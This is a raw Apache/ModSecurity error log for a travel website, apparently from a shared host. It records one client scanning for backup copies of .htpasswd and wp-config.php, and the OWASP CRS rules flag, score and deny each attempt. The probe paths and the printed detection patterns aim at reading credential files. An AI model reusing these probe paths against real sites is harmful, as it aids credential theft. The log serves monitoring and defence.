[Fri Jul 17 08:55:21.693075 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoe1pLmPpy2r_2CxfZgAAAA8"]
[Fri Jul 17 08:55:21.693125 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.693248 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoV1_86A5R6msWNfUdAAAABI"]
[Fri Jul 17 08:55:21.695398 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.bak"] [unique_id "almgoQ7FYe46zHK_jL3P-wAAABk"]
[Fri Jul 17 08:55:21.695685 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.bak"] [unique_id "almgoQ7FYe46zHK_jL3P-wAAABk"]
[Fri Jul 17 08:55:21.695972 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.bak"] [unique_id "almgoQ7FYe46zHK_jL3P-wAAABk"]
[Fri Jul 17 08:55:21.696116 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.696278 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoQ7FYe46zHK_jL3P-wAAABk"]
[Fri Jul 17 08:55:21.696517 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".htpasswd~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd~"] [unique_id "almgoVCBpfuYyhJ140vSwgAAAB4"]
[Fri Jul 17 08:55:21.696776 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd~"] [unique_id "almgoVCBpfuYyhJ140vSwgAAAB4"]
[Fri Jul 17 08:55:21.697113 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd~"] [unique_id "almgoVCBpfuYyhJ140vSwgAAAB4"]
[Fri Jul 17 08:55:21.697237 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.697369 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoVCBpfuYyhJ140vSwgAAAB4"]
[Fri Jul 17 08:55:21.705903 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.old"] [unique_id "almgoXRlmrtCoY_COpcmBQAAAAg"]
[Fri Jul 17 08:55:21.706234 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.old"] [unique_id "almgoXRlmrtCoY_COpcmBQAAAAg"]
[Fri Jul 17 08:55:21.706521 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.old"] [unique_id "almgoXRlmrtCoY_COpcmBQAAAAg"]
[Fri Jul 17 08:55:21.706671 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.706811 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoXRlmrtCoY_COpcmBQAAAAg"]
[Fri Jul 17 08:55:21.709892 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.orig"] [unique_id "almgoYbYoYGvYnmnM82CRAAAAAs"]
[Fri Jul 17 08:55:21.710266 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.orig"] [unique_id "almgoYbYoYGvYnmnM82CRAAAAAs"]
[Fri Jul 17 08:55:21.710438 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.710624 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoYbYoYGvYnmnM82CRAAAAAs"]
[Fri Jul 17 08:55:21.715453 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.save"] [unique_id "almgoboj0IkvhSCYadmBxAAAAAQ"]
[Fri Jul 17 08:55:21.715806 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.save"] [unique_id "almgoboj0IkvhSCYadmBxAAAAAQ"]
[Fri Jul 17 08:55:21.715965 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.716137 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoboj0IkvhSCYadmBxAAAAAQ"]
[Fri Jul 17 08:55:21.719956 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.swp"] [unique_id "almgoRHlOGcokz2QIwTTMgAAAAM"]
[Fri Jul 17 08:55:21.720271 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.swp"] [unique_id "almgoRHlOGcokz2QIwTTMgAAAAM"]
[Fri Jul 17 08:55:21.720675 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd.swp"] [unique_id "almgoRHlOGcokz2QIwTTMgAAAAM"]
[Fri Jul 17 08:55:21.720833 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:21.720989 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoRHlOGcokz2QIwTTMgAAAAM"]
[Fri Jul 17 08:55:21.885425 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.bak
[Fri Jul 17 08:55:21.885635 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.392151 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:22.666865 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/htpasswd.bak"] [unique_id "almgohHlOGcokz2QIwTTMwAAAAM"]
[Fri Jul 17 08:55:22.667420 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/htpasswd.bak"] [unique_id "almgohHlOGcokz2QIwTTMwAAAAM"]
[Fri Jul 17 08:55:22.676768 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:22.687275 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/htpasswd.old"] [unique_id "almgovwooI4qY7Jg93pVdwAAABM"]
[Fri Jul 17 08:55:22.687854 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/htpasswd.old"] [unique_id "almgovwooI4qY7Jg93pVdwAAABM"]
[Fri Jul 17 08:55:22.688012 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
